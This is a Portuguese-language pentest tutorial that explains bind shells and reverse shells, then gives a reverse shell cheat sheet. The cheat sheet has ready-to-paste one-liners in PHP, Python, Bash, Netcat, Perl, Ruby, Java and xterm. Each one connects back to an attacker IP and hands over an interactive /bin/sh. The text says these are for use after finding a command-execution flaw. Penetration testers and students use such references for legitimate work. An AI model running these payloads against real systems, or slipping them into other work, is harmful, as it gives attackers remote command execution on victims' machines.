Antes de iniciarmos, é importante deixar claro alguns conceitos: um shell pode ser descrito como um código ou programa que pode ser utilizado para se obter código ou executar comandos em um determinado dispositivo, como servidores, smartphones, etc. Podemos, ainda, citar a explicação extraída do Stack Overflow: o termo shell refere-se a uma classe geral de interpretadores de comandos baseados em texto, geralmente associados aos sistemas operacionais Unix e Linux.
Os shells podem ser classificados em duas categorias, que serão brevemente explicados a seguir: Bind Shell e Reverse Shell.
Bind Shell
Um bind shell instrui o computador-alvo a abrir um shell de comandos e a ficar ouvindo uma porta local. O computador de ataque então se conecta ao computador-alvo por meio da porta que estiver ouvindo. Entretanto, com o advento dos firewalls, a eficiência dos bind shells diminuiu, pois qualquer firewall configurado corretamente bloqueará o tráfego em uma porta aleatória como a 4444 (WEIDMAN, Georgia – 2014, p. 138).
Em outras palavras, a máquina do atacante atua como um cliente e a máquina da vítima atua como um servidor abrindo uma porta de comunicação na vítima e aguardando o cliente se conectar a ele e, em seguida, emitindo comandos que serão remotamente executados (com relação ao invasor) na máquina da vítima. Isso só seria possível se a máquina da vítima tivesse um IP público e estivesse acessível pela Internet (desconsiderando firewall, etc, por questões de brevidade).
Mas agora, o que acontece se a máquina da vítima é NAT e, portanto, não é diretamente alcançável? Uma solução possível: e se a máquina da vítima não estiver acessível? Minha máquina (atacante) é alcançável. Então, deixe-me abrir um servidor e deixar a vítima se conectar a mim. Isso é um reverse shell.
Reverse Shell
Um reverse shell (shell reverso), por outro lado, força uma conexão de volta ao computador de ataque, em vez de esperar uma conexão de entrada. Nesse caso, em nosso computador de ataque, abrimos uma porta local e ficamos ouvindo à espera de uma conexão feita a partir de nosso alvo porque é mais provável que essa conexão reversa consiga passar por um firewall (WEIDMAN, Georgia – 2014, p. 138).
Em outras palavras, a máquina do invasor (que tem um IP público e pode ser acessado pela Internet) age como um servidor. Ele abre um canal de comunicação em uma porta e aguarda por conexões de entrada. A máquina da vítima atua como um cliente e inicia uma conexão com o servidor de escuta do invasor.
Reverse Shell Cheat Sheet
Agora, focando em reverse shell: durante um pentest, caso você tenha a sorte de encontrar uma vulnerabilidade de execução de comando, muito em breve – provavelmente, você precisará de um shell interativo.
Se não for possível adicionar uma nova conta / chave SSH / arquivo .rhosts e apenas efetuar login, sua próxima etapa possivelmente trará um shell reverso ou vinculará um shell a uma porta TCP.
Suas opções para criar um shell reverso são limitadas pelas linguagens de script instaladas no sistema destino, embora você provavelmente possa fazer o upload de um binário caso esteja adequadamente preparado.
Os exemplos mostrados são adaptados para sistemas Unix-like. Alguns dos exemplos a seguir devem funcionar no Windows se você substituir /bin/sh -i
por cmd.exe
.
Cada um dos métodos abaixo tem como objetivo ser um copiar/colar. São linhas curtas, mas pouco legíveis.
PHP:
php -r '$sock=fsockopen("192.168.0.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.5",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Bash:
bash -i >& /dev/tcp/192.168.0.1/8080 0>&1
Netcat:
nc -e /bin/sh 192.168.0.5 4444
Perl:
perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Ruby:
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Java:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.0.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
xterm:
xterm -display 192.168.0.5:4444
.
* * * * *
.
O projeto Reverse Shell Cheat Sheet está disponível no Github.
.
* * * * *
.